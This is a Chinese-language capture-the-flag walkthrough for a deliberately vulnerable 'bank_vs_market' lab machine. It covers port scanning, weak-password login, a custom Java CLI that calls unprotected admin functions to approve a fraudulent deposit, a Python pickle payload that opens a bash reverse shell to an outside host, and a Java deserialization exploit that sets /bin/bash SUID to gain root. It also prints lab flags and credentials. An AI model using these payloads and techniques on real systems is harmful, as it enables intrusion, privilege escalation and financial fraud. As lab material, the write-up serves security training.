bank_vs_market WP

进行信息收集

```
$ nmap -sn 192.168.31.0/24 | grep PCS -B 2
Nmap scan report for bank-server (192.168.31.116)
Host is up (0.00015s latency).
MAC Address: 08:00:27:FC:75:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

$ nmap -p- 192.168.31.116 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 07:44 EST
Nmap scan report for bank-server (192.168.31.116)
Host is up (0.00076s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
3306/tcp  closed mysql
8000/tcp  open   http-alt
14646/tcp open   unknown
MAC Address: 08:00:27:FC:75:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
```

http://192.168.31.116/ 和 http://192.168.31.116:8000/ 是 WEB 页面
你可以下载到 bank-client-1.0.0.jar 和在商店页面注册一个用户
我这里注册用户的凭证

```
MazeSec_test
MazeSec_test@mazesec.com
MaseSec@Passwd
```

了解一下这个市场的业务逻辑
我们需要用到银行账户

```
java -jar bank-client-1.0.0.jar
```

运行银行系统客户端

服务器填写对应靶机地址，可以看到下面端口号已经默认填上14646，这对应前面扫描到的14646位置端口

我们尝试注册个账号
所用凭证

```
MazeSec_test
MaseSec@Passwd
MazeSec
101010101010101010
```

可以看到里面有很多功能，但是我们都不能用
我们退出登录，尝试弱密码
可以使用 test/test 登录 TODO: -- 这个地方还没改 test

可以看到有 10000 余额，都没啥用，有用的是消息里面的东西（这里就算不猜出test/test也能继续）

```
[2026-01-07 07:07:45] 我:
test

[2026-01-07 07:09:49] admin:
好了，又有一个新功能加上了
安全部说我这里有啥越权，啊，怎么会有人能找的到哪里有越权，哈哈
```

这提示我们有越权，或者我们直接解包去找也行
我用的 Jar Analyzer，直接解出来并带出，没有加密
分析一下如何与客户端通信
看AdminFrame类，因为这是管理员的功能
我们可以在包里直接写一个新的命令行小工具方便我们测试

放在 com/bank/client/cli 下

```
$ mkdir out
$ javac -d ./out -sourcepath . ./com/bank/client/cli/BankCli.java
```

```
package com.bank.client.cli;

import com.bank.client.BankClient;
import com.bank.entity.Account;
import com.bank.entity.DepositRequest;
import com.bank.entity.Message;
import com.bank.entity.Transaction;
import com.bank.entity.User;
import com.bank.entity.WithdrawalToken;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.math.BigDecimal;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;

public class BankCli {
   private static final DateTimeFormatter DATE_TIME_FORMATTER =
DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");

   public static void main(String[] args) {
      CliArgs cliArgs = CliArgs.parse(args);
      if (cliArgs.help) {
         printUsage();
         return;
      }
```

```
        BankClient client = new BankClient(cliArgs.host, cliArgs.port);
        if (!client.connect()) {
            System.err.println("无法连接到服务器: " + cliArgs.host + ":" +
cliArgs.port);
            return;
        }

        try {
            if (cliArgs.command == null || cliArgs.command.trim().isEmpty() ||
"repl".equalsIgnoreCase(cliArgs.command)) {
                runRepl(client);
                return;
            }

            Object response = executeCommand(client, cliArgs.command,
cliArgs.commandArgs);
            printResponse(response);
        } catch (Exception e) {
            e.printStackTrace();
            System.exit(2);
        } finally {
            client.disconnect();
        }
    }

    private static void runRepl(BankClient client) throws Exception {
        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in,
"UTF-8"));
        System.out.println("已连接到服务器。输入 help 查看命令，输入 exit 退出。");

        while (true) {
            System.out.print("bank> ");
            String line = reader.readLine();
            if (line == null) {
                break;
            }

            line = line.trim();
            if (line.isEmpty()) {
                continue;
            }

            if ("exit".equalsIgnoreCase(line) || "quit".equalsIgnoreCase(line)) {
                break;
            }

            if ("help".equalsIgnoreCase(line)) {
                printUsage();
                continue;
            }

            List<String> tokens = tokenize(line);
            if (tokens.isEmpty()) {
                continue;
            }
```

```
            String command = tokens.get(0);
            String[] cmdArgs = tokens.subList(1, tokens.size()).toArray(new
String[0]);
            try {
               Object response = executeCommand(client, command, cmdArgs);
               printResponse(response);
            } catch (Exception e) {
               e.printStackTrace();
            }
         }
      }

      private static Object executeCommand(BankClient client, String command,
String[] args) throws Exception {
         switch(command.toLowerCase(Locale.ROOT)) {
         case "ping":
            return client.sendRequest("PING");
         case "login":
            requireArgs(command, args, 2);
            return client.sendRequest("LOGIN", args[0], args[1]);
         case "register": {
            requireArgs(command, args, 4);
            User.UserType userType = args.length >= 5 ?
User.UserType.valueOf(args[4].toUpperCase(Locale.ROOT)) : User.UserType.CUSTOMER;
            User newUser = new User(args[0], args[1], args[2], args[3], userType);
            return client.sendRequest("REGISTER", newUser);
         }
         case "accounts-all":
            return client.sendRequest("GET_ALL_ACCOUNTS");
         case "accounts":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_ACCOUNTS", Integer.valueOf(args[0]));
         case "account-status":
            requireArgs(command, args, 2);
            return client.sendRequest("UPDATE_ACCOUNT_STATUS", args[0],
args[1].toUpperCase(Locale.ROOT));
         case "balance":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_BALANCE", args[0]);
         case "transactions": {
            requireArgs(command, args, 1);
            String accountNumber = args[0];
            Account account = (Account)client.sendRequest("GET_BALANCE",
accountNumber);
            if (account == null || account.getId() == null) {
               return null;
            }
            return client.sendRequest("GET_TRANSACTIONS", account.getId());
         }
         case "transactions-by-id":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_TRANSACTIONS", Integer.valueOf(args[0]));
         case "account-create": {
            requireArgs(command, args, 2);
```

```
            Account account = new Account(args[0], Integer.valueOf(args[1]),
BigDecimal.ZERO);
            return client.sendRequest("CREATE_ACCOUNT", account);
        }
        case "deposit-submit":
            requireArgs(command, args, 3);
            return client.sendRequest("SUBMIT_DEPOSIT_REQUEST", args[0],
Integer.valueOf(args[1]), new BigDecimal(args[2]));
        case "deposit-pending":
            return client.sendRequest("GET_PENDING_DEPOSIT_REQUESTS");
        case "deposit-my":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_MY_DEPOSIT_REQUESTS",
Integer.valueOf(args[0]));
        case "deposit-approve": {
            requireArgs(command, args, 2);
            String remark = args.length >= 3 ? args[2] : "管理员批准";
            return client.sendRequest("APPROVE_DEPOSIT_REQUEST",
Integer.valueOf(args[0]), Integer.valueOf(args[1]), remark);
        }
        case "deposit-reject": {
            requireArgs(command, args, 3);
            return client.sendRequest("REJECT_DEPOSIT_REQUEST",
Integer.valueOf(args[0]), Integer.valueOf(args[1]), args[2]);
        }
        case "withdraw":
            requireArgs(command, args, 3);
            return client.sendRequest("WITHDRAW_WITH_TOKEN", args[0],
Integer.valueOf(args[1]), new BigDecimal(args[2]));
        case "tokens":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_USER_TOKENS", Integer.valueOf(args[0]));
        case "token-cancel":
            requireArgs(command, args, 1);
            return client.sendRequest("CANCEL_TOKEN", args[0]);
        case "identity-hash":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_IDENTITY_HASH",
Integer.valueOf(args[0]));
        case "password-change":
            requireArgs(command, args, 3);
            return client.sendRequest("CHANGE_PASSWORD", Integer.valueOf(args[0]),
args[1], args[2]);
        case "messages-user":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_USER_MESSAGES",
Integer.valueOf(args[0]));
        case "messages-received":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_RECEIVED_MESSAGES",
Integer.valueOf(args[0]));
        case "messages-unread-customers":
            return client.sendRequest("GET_ALL_UNREAD_CUSTOMER_MESSAGES");
        case "message-send":
            requireArgs(command, args, 3);
```

```
            return client.sendRequest("SEND_MESSAGE", Integer.valueOf(args[0]),
Integer.valueOf(args[1]), args[2]);
        case "message-send-admins":
            requireArgs(command, args, 2);
            return client.sendRequest("SEND_MESSAGE_TO_ADMINS",
Integer.valueOf(args[0]), args[1]);
        case "message-mark-read":
            requireArgs(command, args, 1);
            return client.sendRequest("MARK_MESSAGE_READ",
Integer.valueOf(args[0]));
        case "conversation":
            requireArgs(command, args, 2);
            return client.sendRequest("GET_CONVERSATION", Integer.valueOf(args[0]),
Integer.valueOf(args[1]));
        case "unread-count":
            requireArgs(command, args, 1);
            return client.sendRequest("GET_UNREAD_COUNT", Integer.valueOf(args[0]));
        case "raw": {
            requireArgs(command, args, 1);
            String rawCmd = args[0];
            Object[] params = parseRawParams(args, 1);
            return client.sendRequest(rawCmd, params);
        }
        default:
            throw new IllegalArgumentException("未知命令: " + command);
        }
    }

    private static Object[] parseRawParams(String[] args, int offset) {
        if (args.length <= offset) {
            return new Object[0];
        }

        List<Object> params = new ArrayList<>();
        for (int i = offset; i < args.length; i++) {
            params.add(parseTypedArg(args[i]));
        }
        return params.toArray(new Object[0]);
    }

    private static Object parseTypedArg(String token) {
        if (token == null) {
            return null;
        }

        if (token.startsWith("i:")) {
            return Integer.valueOf(token.substring(2));
        }
        if (token.startsWith("d:")) {
            return new BigDecimal(token.substring(2));
        }
        if (token.startsWith("b:")) {
            return Boolean.valueOf(token.substring(2));
        }
        if (token.startsWith("s:")) {
            return token.substring(2);
```

```
        }
        return token;
    }

    private static List<String> tokenize(String input) {
        List<String> tokens = new ArrayList<>();
        StringBuilder current = new StringBuilder();
        boolean inQuotes = false;
        char quoteChar = 0;

        for (int i = 0; i < input.length(); i++) {
            char c = input.charAt(i);
            if (inQuotes) {
                if (c == quoteChar) {
                    inQuotes = false;
                    continue;
                }
                if (c == '\\' && i + 1 < input.length()) {
                    char next = input.charAt(i + 1);
                    if (next == quoteChar || next == '\\') {
                        current.append(next);
                        i++;
                        continue;
                    }
                }
                current.append(c);
            } else {
                if (c == '"' || c == '\'') {
                    inQuotes = true;
                    quoteChar = c;
                    continue;
                }
                if (Character.isWhitespace(c)) {
                    if (current.length() > 0) {
                        tokens.add(current.toString());
                        current.setLength(0);
                    }
                    continue;
                }
                current.append(c);
            }
        }

        if (current.length() > 0) {
            tokens.add(current.toString());
        }
        return tokens;
    }

    private static void requireArgs(String command, String[] args, int min) {
        if (args == null || args.length < min) {
            throw new IllegalArgumentException(command + " 参数不足，至少需要 " + min +
" 个参数");
        }
    }
```

```
    private static void printResponse(Object response) {
        if (response == null) {
            System.out.println("null");
            return;
        }

        if (response instanceof List) {
            printList((List)response);
            return;
        }

        if (response instanceof Account) {
            printAccount((Account)response);
            return;
        }

        if (response instanceof DepositRequest) {
            printDepositRequest((DepositRequest)response);
            return;
        }

        if (response instanceof Transaction) {
            printTransaction((Transaction)response);
            return;
        }

        if (response instanceof WithdrawalToken) {
            printWithdrawalToken((WithdrawalToken)response);
            return;
        }

        if (response instanceof User) {
            printUser((User)response);
            return;
        }

        System.out.println(String.valueOf(response));
    }

    private static void printList(List list) {
        if (list == null) {
            System.out.println("null");
            return;
        }

        if (list.isEmpty()) {
            System.out.println("[]");
            return;
        }

        Object first = list.get(0);
        if (first instanceof Account) {
            for (Object item : list) {
                printAccount((Account)item);
            }
            return;
```

```
        }
        if (first instanceof DepositRequest) {
            for (Object item : list) {
                printDepositRequest((DepositRequest)item);
            }
            return;
        }
        if (first instanceof Transaction) {
            for (Object item : list) {
                printTransaction((Transaction)item);
            }
            return;
        }
        if (first instanceof WithdrawalToken) {
            for (Object item : list) {
                printWithdrawalToken((WithdrawalToken)item);
            }
            return;
        }
        if (first instanceof Message) {
            for (Object item : list) {
                System.out.println(String.valueOf(item));
            }
            return;
        }

        for (Object item : list) {
            System.out.println(String.valueOf(item));
        }
    }

    private static void printUser(User user) {
        System.out.println("User{id=" + user.getId() + ", username=" +
user.getUsername() + ", realName=" + user.getRealName() + ", userType=" +
user.getUserType() + ", identityHash=" + user.getIdentityHash() + "}");
    }

    private static void printAccount(Account account) {
        System.out.println("Account{id=" + account.getId() + ", accountNumber=" +
account.getAccountNumber() + ", userId=" + account.getUserId() + ", balance=" +
account.getBalance() + ", status=" + account.getAccountStatus() + ", createdAt="
+ formatDateTime(account.getCreatedAt()) + "}");
    }

    private static void printDepositRequest(DepositRequest request) {
        System.out.println("DepositRequest{id=" + request.getId() + ",
accountNumber=" + request.getAccountNumber() + ", userId=" + request.getUserId()
+ ", amount=" + request.getAmount() + ", status=" + request.getStatus() + ",
requestTime=" + formatDateTime(request.getRequestTime()) + ", processTime=" +
formatDateTime(request.getProcessTime()) + ", adminId=" + request.getAdminId() +
", remark=" + request.getRemark() + "}");
    }

    private static void printTransaction(Transaction trans) {
```

```
      System.out.println("Transaction{id=" + trans.getId() + ", accountId=" +
trans.getAccountId() + ", type=" + trans.getTransactionType() + ", amount=" +
trans.getAmount() + ", balanceAfter=" + trans.getBalanceAfter() + ", createdAt="
+ formatDateTime(trans.getCreatedAt()) + ", description=" +
trans.getDescription() + "}");
   }

   private static void printWithdrawalToken(WithdrawalToken token) {
      System.out.println("WithdrawalToken{id=" + token.getId() + ",
accountNumber=" + token.getAccountNumber() + ", userId=" + token.getUserId() + ",
amount=" + token.getAmount() + ", status=" + token.getStatus() + ", createdAt=" +
formatDateTime(token.getCreatedAt()) + ", usedAt=" +
formatDateTime(token.getUsedAt()) + ", usedBy=" + token.getUsedBy() + ",
tokenHash=" + token.getTokenHash() + "}");
   }

   private static String formatDateTime(LocalDateTime dt) {
      return dt == null ? "-" : dt.format(DATE_TIME_FORMATTER);
   }

   private static void printUsage() {
      String usage = ""
            + "用法:\n"
            + "  java com.bank.client.cli.BankCli --host <host> --port <port>
<command> [args...]\n"
            + "  java com.bank.client.cli.BankCli --host <host> --port <port>
repl\n"
            + "\n"
            + "通用参数:\n"
            + "  --host <host>    默认 127.0.0.1\n"
            + "  --port <port>    默认 14646\n"
            + "\n"
            + "常用命令:\n"
            + "  accounts-all\n"
            + "  accounts <userId>\n"
            + "  account-status <accountNumber> <ACTIVE|FROZEN|CLOSED>\n"
            + "  balance <accountNumber>\n"
            + "  transactions <accountNumber>\n"
            + "  transactions-by-id <accountId>\n"
            + "  account-create <accountNumber> <userId>\n"
            + "  deposit-submit <accountNumber> <userId> <amount>\n"
            + "  deposit-pending\n"
            + "  deposit-my <userId>\n"
            + "  deposit-approve <requestId> <adminId> [remark]\n"
            + "  deposit-reject <requestId> <adminId> <remark>\n"
            + "  withdraw <accountNumber> <userId> <amount>\n"
            + "  tokens <userId>\n"
            + "  token-cancel <tokenHash>\n"
            + "  identity-hash <userId>\n"
            + "  password-change <userId> <oldPassword> <newPassword>\n"
            + "  messages-user <userId>\n"
            + "  messages-received <userId>\n"
            + "  messages-unread-customers\n"
            + "  message-send <senderId> <receiverId> <content>\n"
            + "  message-send-admins <senderId> <content>\n"
            + "  message-mark-read <messageId>\n"
```

```
            + "  conversation <userId> <otherUserId>\n"
            + "  unread-count <userId>\n"
            + "  raw <COMMAND> [s:文本 i:整数 d:小数 b:true|false ...]\n";
        System.out.println(usage);
    }

    private static class CliArgs {
        final String host;
        final int port;
        final String command;
        final String[] commandArgs;
        final boolean help;

        private CliArgs(String host, int port, String command, String[]
commandArgs, boolean help) {
            this.host = host;
            this.port = port;
            this.command = command;
            this.commandArgs = commandArgs;
            this.help = help;
        }

        static CliArgs parse(String[] args) {
            String host = "127.0.0.1";
            int port = 14646;
            boolean help = false;

            List<String> rest = new ArrayList<>();
            for (int i = 0; args != null && i < args.length; i++) {
                String a = args[i];
                if ("--host".equals(a) && i + 1 < args.length) {
                    host = args[++i];
                    continue;
                }
                if ("--port".equals(a) && i + 1 < args.length) {
                    port = Integer.parseInt(args[++i]);
                    continue;
                }
                if ("--help".equals(a) || "-h".equals(a)) {
                    help = true;
                    continue;
                }
                rest.add(a);
            }

            String command = rest.isEmpty() ? null : rest.get(0);
            String[] commandArgs = rest.size() <= 1 ? new String[0] :
rest.subList(1, rest.size()).toArray(new String[0]);
            return new CliArgs(host, port, command, commandArgs, help);
        }
    }
}
```

```
$ java -cp ./out com.bank.client.cli.BankCli --host 192.168.31.116 --port 14646
```

```
服务器连接验证成功
已连接到服务器。输入 help 查看命令，输入 exit 退出。
bank> help
用法:
  java com.bank.client.cli.BankCli --host <host> --port <port> <command>
[args...]
  java com.bank.client.cli.BankCli --host <host> --port <port> repl

通用参数:
  --host <host>    默认 127.0.0.1
  --port <port>    默认 14646

常用命令:
  accounts-all
  accounts <userId>
  account-status <accountNumber> <ACTIVE|FROZEN|CLOSED>
  balance <accountNumber>
  transactions <accountNumber>
  transactions-by-id <accountId>
  account-create <accountNumber> <userId>
  deposit-submit <accountNumber> <userId> <amount>
  deposit-pending
  deposit-my <userId>
  deposit-approve <requestId> <adminId> [remark]
  deposit-reject <requestId> <adminId> <remark>
  withdraw <accountNumber> <userId> <amount>
  tokens <userId>
  token-cancel <tokenHash>
  identity-hash <userId>
  password-change <userId> <oldPassword> <newPassword>
  messages-user <userId>
  messages-received <userId>
  messages-unread-customers
  message-send <senderId> <receiverId> <content>
  message-send-admins <senderId> <content>
  message-mark-read <messageId>
  conversation <userId> <otherUserId>
  unread-count <userId>
  raw <COMMAND> [s:文本 i:整数 d:小数 b:true|false ...]
```

```
bank> accounts-all
Account{id=5, accountNumber=123, userId=7, balance=10000.00, status=ACTIVE,
createdAt=2026-01-07 07:08:09}
```

我们可以看到管理员的一些功能没有做鉴权

那我们尝试在注册的自己的账号开一个户并同意自己的存款申请，我开了一个账户叫 MazeSec

```
bank> accounts-all
Account{id=6, accountNumber=MazeSec, userId=8, balance=0.00, status=ACTIVE,
createdAt=2026-01-09 03:18:26}
Account{id=5, accountNumber=123, userId=7, balance=10000.00, status=ACTIVE,
createdAt=2026-01-07 07:08:09}
```

可以看到此时已经有了我们的账户

逐一试出管理员的 id 号码

```
bank> deposit-pending
DepositRequest{id=10, accountNumber=MazeSec, userId=8, amount=66779988.00,
status=PENDING, requestTime=2026-01-09 03:22:31, processTime=-, adminId=null,
remark=null}

bank> deposit-approve 10 1
false
bank> deposit-approve 10 1
false
bank> deposit-approve 10 2
false
bank> deposit-approve 10 3
true
```

此时登录后可以看到有了 66779988.00 的余额

生成身份认证hash

```
您的商城绑定ID（请妥善保管）：

1382d09d39208956534c3778afc99f8bee983496b1d5841493d706450c54098f

此ID用于在Django市场系统中绑定您的银行账户。
每个用户只能生成一次，请勿泄露给他人。
```

生成取款hash

```
取款成功！请妥善保管您的提款凭证：

1f8be7ca7c3679bdfa6b3a8d230a294e9e45581485494da9f0e6bd99d92ebea7

此凭证可在市场系统中使用。
您可以在「提款凭证管理」中查看和管理所有凭证。
```

购买后收货可以看到

```
孩子，我跟这个网站作者有点过节 去 /rOOt_rooteabcsd.html 看看
```

```
$ curl 'http://192.168.31.116/rOOt_rooteabcsd.html'

root:toorcatshadow
```

可登录市场系统的后台

在 [系统配置] 里面导出设置可以看到 pickle 的字样，确定 pickle 反序列化攻击，漏洞在__reduce__上

```
import pickle
import base64

class ReverseShell:
    def __reduce__(self):
        import os
        cmd = "bash -c 'bash -i >& /dev/tcp/192.168.31.187/4444 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(payload)
```

```
$ python encode_reverse.py
gASVTwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDRiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwL
zE5Mi4xNjguMS4zMi80NDQ0IDA+JjEnlIWUUpQu
```

导入之后

```
$ pwncat-vl -lp 4444
(remote) banker@bank-server:/opt/market$ id
uid=1000(banker) gid=1000(banker) groups=1000(banker)
```

```
(remote) banker@bank-server:/home/banker$ cat user.txt
flag{user-c501af335fb8e453397435b67e78a87f807b9e640c4503aa915dde38123c3548}
```

```
(remote) banker@bank-server:/home/banker$ sudo -l
Matching Defaults entries for banker on bank-server:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User banker may run the following commands on bank-server:
    (ALL) NOPASSWD: /usr/bin/bank-admin-tool

(remote) banker@bank-server:/home/banker$ file /usr/bin/bank-admin-tool
/usr/bin/bank-admin-tool: Bourne-Again shell script, ASCII text executable
(remote) banker@bank-server:/home/banker$ ls -la /usr/bin/bank-admin-tool
-rwxr-xr-x 1 root root 63 Jan  4 20:27 /usr/bin/bank-admin-tool

(remote) banker@bank-server:/home/banker$ cat /usr/bin/bank-admin-tool
#!/bin/bash

/usr/bin/java -jar /opt/bank-admin-tool-1.0.0.jar

(remote) banker@bank-server:/home/banker$ ls -la /opt/bank-admin-tool-1.0.0.jar
-rw-r--r-- 1 root root 15167 Jan  7 20:33 /opt/bank-admin-tool-1.0.0.jar
```

我们拿过来反编译一下

看一下,在AdminConfig.java里面有

```
private void readObject(ObjectInputStream in) throws IOException,
ClassNotFoundException {
      in.defaultReadObject();
      if (this.initCommand != null && !this.initCommand.isEmpty()) {
         try {
            Runtime.getRuntime().exec(this.initCommand);
         } catch (IOException var3) {
         }
      }

  }
```

我们仔细看

```
// AdminConfig 类
private AdminConfig config = new AdminConfig();

// 涉及命令执行
private void readObject(ObjectInputStream in) throws IOException,
ClassNotFoundException {
      in.defaultReadObject();
      if (this.initCommand != null && !this.initCommand.isEmpty()) {
         try {
            Runtime.getRuntime().exec(this.initCommand);
         } catch (IOException var3) {
         }
      }

   }

// 导入类的位置
public void importConfig() {
    ...
       try {
                  Object obj = ois.readObject();
                  if (obj instanceof AdminConfig) {
                     this.config = (AdminConfig)obj;
                     System.out.println("✓ Configuration imported successfully");
                     this.viewConfig();
                     FileOutputStream fos = new FileOutputStream("admin.config");
     ...

}
```

我们导入涉及 AdminConfig.java

```
$ ls -la com/bank/admin/AdminConfig.java
-rw-rw-r-- 1 dingtom dingtom 1732  1月 4日 08:09 com/bank/admin/AdminConfig.java
```

按这个路径进行编译

```
$ javac com/bank/admin/AdminConfig.java
$ javac ExploitGenerator.java
```

```java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

import com.bank.admin.AdminConfig;

/**
 * 生成恶意配置文件用于反序列化攻击
 * 反弹 shell 可能不生效
 */
public class ExploitGenerator {

    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            System.out.println("Usage: java ExploitGenerator <command>");
            System.out.println("");
            System.out.println("Examples:");
            System.out.println("  java ExploitGenerator \"touch /tmp/pwned\"");
            return;
        }

        String command = args[0];
        String filename = "exploit.config";

        // 创建恶意配置
        AdminConfig malicious = new AdminConfig();
        malicious.setServerHost("localhost");
        malicious.setServerPort(14646);
        malicious.setInitCommand(command);  // 设置恶意命令

        // 序列化到文件
        try (FileOutputStream fos = new FileOutputStream(filename);
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(malicious);
        }

        System.out.println("[+] Malicious config generated: " + filename);
        System.out.println("[+] Command: " + command);
        System.out.println("");
        System.out.println("Next steps:");
        System.out.println("1. Transfer " + filename + " to target server");
        System.out.println("2. Run bank-admin-tool on target");
        System.out.println("3. Select: 5 (Configuration Management) -> 3 (Import
Configuration)");
        System.out.println("4. Enter filename: " + filename);
        System.out.println("5. Command will execute during deserialization");
    }
}
```

```
$ java ExploitGenerator "chmod u+s /bin/bash"
[+] Malicious config generated: exploit.config
[+] Command: chmod u+s /bin/bash

Next steps:
1. Transfer exploit.config to target server
2. Run bank-admin-tool on target
3. Select: 5 (Configuration Management) -> 3 (Import Configuration)
4. Enter filename: exploit.config
5. Command will execute during deserialization
```

原来的 admin 账号密码存放在/var/www/html 下的 p@ss_aD3i

admin/hellojavabadpython

```
(remote) banker@bank-server:/home/banker$ sudo /usr/bin/bank-admin-tool
==========================================
    Bank Server Administration Tool v1.0
==========================================

No configuration file found, using defaults
Connecting to localhost:14646...
Connected successfully.

Admin Username: admin
Admin Password: hellojavabadpython

✓ Authentication successful


=== Admin Functions ===
1. Update User Password
2. Update Account Balance
3. View User Information
4. View Account Information
5. Configuration Management
0. Exit

Select option: 5

=== Configuration Management ===
1. View Current Configuration
2. Export Configuration
3. Import Configuration
0. Back

Select option: 3
Import file name: exploit.config
✓ Configuration imported successfully

=== Current Configuration ===
Server Host: localhost
Server Port: 14646
Timeout: 30000ms
Auto-reconnect: true
```

```
Init Command: chmod u+s /bin/bash

=== Configuration Management ===
1. View Current Configuration
2. Export Configuration
3. Import Configuration
0. Back

Select option: 0

=== Admin Functions ===
1. Update User Password
2. Update Account Balance
3. View User Information
4. View Account Information
5. Configuration Management
0. Exit

Select option: 0

Disconnected from server.
(remote) banker@bank-server:/home/banker$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

```
(remote) root@bank-server:/root# id
uid=1000(banker) gid=1000(banker) euid=0(root) groups=1000(banker)
(remote) root@bank-server:/root# cat root.txt
flag{root-22ca34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da}


非常感谢您的参与 诸事顺遂


                        -by DingTom (MazeSec Team)
```

root/5350f1ea8b3b526d1506f58d3bce0960989f9e2dfcf972ab8c6c0fed8f2ddcff
banker/Adsdlfsadkcoasewiofn